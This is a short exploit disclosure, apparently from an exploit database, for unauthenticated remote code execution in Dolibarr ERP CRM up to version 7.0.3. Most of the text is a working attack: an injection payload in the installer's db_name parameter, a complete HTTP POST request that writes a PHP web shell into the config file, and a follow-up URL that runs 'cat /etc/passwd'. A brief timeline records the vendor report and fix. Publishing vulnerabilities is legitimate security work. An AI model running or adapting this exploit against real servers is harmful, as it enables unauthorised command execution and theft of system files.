# Exploit Title: Unauthenticated Remote Code Evaluation in Dolibarr ERP CRM =<7.0.3 # Date: 06/29/2018 # Exploit Author: om3rcitak - https://omercitak.com # Vendor Homepage: https://dolibarr.org # Software Link: https://github.com/Dolibarr/dolibarr # Version: =<7.0.3 # Tested on: Unix, Windows ## Technical Details URL: http://{domain}/{dolibarr_path}/install/step1.php Parameter Name: db_name Parameter Type: POST Attack Pattern: x\';system($_GET[cmd]);// ## Steps to reproduce the behavior - Go to fresh install page. - Click "Next Step" button for create example config file (conf/conf.php) - Send this request: ``` POST {dolibarr_path}/install/step1.php HTTP/1.1 Host: {domain} testpost=ok&action=set&main_dir=C%3A%2FAmpps%2Fwww&main_data_dir=C%3A%2FAmpps%2Fwww%2Fdocuments&main_url=http%3A%2F%2Flocalhost+&db_name=x%5C%27%3Bsystem(%24_GET%5Bcmd%5D)%3B%2F%2F&db_type=mysqli&db_host=localhost&db_port=3306&db_prefix=llx_&db_create_database=on&db_user=root&db_pass=root&db_create_user=on&db_user_root=root&db_pass_root=root&selectlang=auto ``` - Visit url and run the command: `http://{domain}/{dolibarr_path}/install/check.php?cmd=cat /etc/passwd` ## Timeline - 06/29/2018 18:30 - Found vulnerability. - 06/29/2018 18:44 - Report vendor. - 06/29/2018 20:38 - Vulnerability fixed by vendor. GitHub Issue: https://github.com/Dolibarr/dolibarr/issues/9032